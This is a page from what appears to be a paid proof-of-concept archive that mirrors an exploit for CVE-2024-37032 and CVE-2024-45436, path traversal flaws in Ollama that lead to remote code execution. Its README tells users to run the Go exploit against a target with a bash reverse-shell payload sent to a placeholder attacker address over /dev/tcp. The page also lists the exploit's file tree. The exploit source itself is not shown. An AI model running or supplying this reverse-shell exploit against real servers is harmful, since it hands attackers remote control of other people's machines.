Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-37032 PoC — Ollama 安全漏洞

Source
Associated Vulnerability
Title:Ollama 安全漏洞 (CVE-2024-37032)
Description:Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
Description
CVE-2024-45436
Readme
# CVE-2024-37032 & CVE-2024-45436 Ollama RCE
CVE-2024-37032 CVE-2024-45436
Need to run under Linux, the environment needs to have gcc
Install golang, execute the following command to rebound the shell

```bash
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
```

Note: Exploitation may take several minutes, please be patient
File Snapshot

[4.0K] /data/pocs/262e2b62aa2a3c878df063658be7fdf8ae326f8c ├── [ 67] go.mod ├── [ 173] go.sum ├── [5.2K] main.go └── [ 379] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →